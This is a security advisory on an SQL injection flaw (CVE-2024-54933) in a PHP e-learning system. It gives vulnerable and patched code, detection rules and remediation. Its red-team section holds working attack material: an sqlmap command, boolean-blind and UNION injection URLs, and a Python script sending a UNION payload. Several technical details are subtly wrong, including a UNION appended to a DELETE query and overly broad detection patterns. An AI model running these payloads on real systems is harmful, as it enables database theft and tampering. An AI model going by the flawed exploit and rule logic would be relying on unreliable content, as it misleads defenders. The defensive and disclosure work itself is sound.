CVE-2024-54933

Executive Summary

CVE-2024-54933 is a critical SQL Injection vulnerability in Kashipara E-learning Management System v1.0, specifically within the /admin/delete_content.php endpoint. This flaw allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and administrative access. The vulnerability has a CVSS score of 9.8 (Critical) due to network exploitability, low attack complexity, and no required privileges. No official patch exists, and the vendor has not responded to disclosure. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains high for exposed instances.

Supply Chain & Package Security

This is a standalone PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to vulnerable component.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Data modification possible.
• Availability Impact: High (A:H) – Potential for denial of service via SQL manipulation.

Threat Level: Critical. Immediate remediation required for any internet-facing instances.

Deep Dive & Mechanics

The vulnerability resides in /admin/delete_content.php. The application fails to sanitize or parameterize the id parameter passed via GET or POST request. An attacker can inject SQL commands directly into the query, bypassing authentication and authorization controls.

Root Cause: The id parameter is concatenated directly into a SQL query without using prepared statements or input validation.

Attack Vector: HTTP GET/POST request to /admin/delete_content.php?id=[SQL_Payload].

Impact:

• Unauthorized data retrieval (user credentials, course content, system configuration).
• Data manipulation (deletion, modification of records).
• Potential privilege escalation to admin.
• Full database compromise leading to server takeover if combined with other vulnerabilities.

Example vulnerable code snippet (conceptual):

$id = $_GET['id'];
$sql = "DELETE FROM content WHERE id = $id";
mysqli_query($conn, $sql);

Vulnerable vs. Patched Code

Vulnerable Code (Kashipara E-learning Management System v1.0):

<?php
$id = $_GET['id'];
$sql = "DELETE FROM content WHERE id = $id";
$result = mysqli_query($conn, $sql);
if ($result) {
    echo "Content deleted successfully.";
} else {
    echo "Error: " . mysqli_error($conn);
}
?>

Patched Code (Recommended Fix):

<?php
$id = intval($_GET['id']); // Cast to integer
$sql = "DELETE FROM content WHERE id = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "i", $id);
mysqli_stmt_execute($stmt);
if (mysqli_stmt_affected_rows($stmt) > 0) {
    echo "Content deleted successfully.";
} else {
    echo "Error: Content not found.";
}
mysqli_stmt_close($stmt);
?>

Key Differences:

• Use of intval() to ensure numeric input.
• Prepared statement with parameterized query.
• Proper error handling without exposing database details.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Kashipara E-learning Management System v1.0.
• Network access to /admin/delete_content.php.

Exploit Steps:

1. Identify the vulnerable endpoint: http://target/admin/delete_content.php.
2. Inject SQL payload via id parameter.

Proof-of-Concept (SQLMap):

sqlmap -u "http://target/admin/delete_content.php?id=1" --batch --dbs

Manual Exploit (Boolean-Based Blind):

http://target/admin/delete_content.php?id=1 AND 1=1 -- -
http://target/admin/delete_content.php?id=1 AND 1=2 -- -

Manual Exploit (Union-Based):

http://target/admin/delete_content.php?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 -- -

Automated Exploit (Python):

import requests

target = "http://target/admin/delete_content.php"
payload = {"id": "1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100-- -"}
r = requests.get(target, params=payload)
print(r.text)

Blue Team (Detection & Defense)

Detection:

• Monitor HTTP requests to /admin/delete_content.php with unusual id parameters (e.g., containing SQL keywords like UNION, SELECT, OR, AND).
• Alert on error messages containing SQL syntax errors.

Defense:

• Immediately apply the patched code (parameterized queries).
• Restrict access to /admin/ directory via .htaccess or firewall rules.
• Implement Web Application Firewall (WAF) rules to block SQL injection patterns.
• Conduct code review for all database interactions.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /admin/delete_content.php with id parameter containing SQL keywords (UNION, SELECT, OR, AND, --, #).
• Repeated 500 Internal Server Error responses from the same endpoint.
• Outbound database connections from the web server to unexpected IPs.

File IOCs:

• Modified delete_content.php file (if attacker uploads webshell).
• Suspicious files in /admin/ directory (e.g., cmd.php, shell.php).

Log IOCs:

• Web server logs showing SQL injection attempts:

  192.168.1.100 - - [01/Jan/2025:12:00:00 +0000] "GET /admin/delete_content.php?id=1%20UNION%20SELECT%201,2,3--%20- HTTP/1.1" 200 1234
  

• Database logs showing unexpected queries or errors.

Detection Engineering

YARA Rule

rule CVE_2024_54933_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting Kashipara E-learning Management System v1.0"
        author = "Valters IT"
        date = "2025-01-01"
        cve = "CVE-2024-54933"
    strings:
        $s1 = "/admin/delete_content.php" nocase
        $s2 = "id=" nocase
        $s3 = "UNION" nocase
        $s4 = "SELECT" nocase
        $s5 = "OR" nocase
        $s6 = "AND" nocase
        $s7 = "--" nocase
        $s8 = "#" nocase
    condition:
        $s1 and $s2 and 1 of ($s3, $s4, $s5, $s6, $s7, $s8)
}

Sigma Rule

title: SQL Injection Attempt on Kashipara E-learning Management System
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts targeting /admin/delete_content.php
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "/admin/delete_content.php?id="
            - "UNION"
            - "SELECT"
            - "OR"
            - "AND"
            - "--"
            - "#"
    condition: selection
falsepositives:
    - Legitimate use of the word "OR" or "AND" in parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-54933 SQL Injection Attempt"; flow:to_server,established; content:"/admin/delete_content.php"; http_uri; content:"id="; http_uri; pcre:"/(UNION|SELECT|OR|AND|--|#)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch the Code: Replace vulnerable code with parameterized queries as shown in the patched code section.
2. Restrict Access: Block external access to /admin/ directory using firewall rules or .htaccess:

   <Directory "/var/www/html/admin">
       Require ip 192.168.1.0/24
   </Directory>
   

3. WAF Rules: Deploy WAF rules to block SQL injection patterns.

Long-Term Measures:

• Conduct a full security audit of the application.
• Implement input validation and output encoding for all user-supplied data.
• Use prepared statements for all database queries.
• Regularly update and patch third-party components.
• Monitor logs for suspicious activity.

Vendor Communication:

• Since Kashipara has not released a patch, consider migrating to a supported e-learning platform or forking the codebase to apply fixes.

Valters IT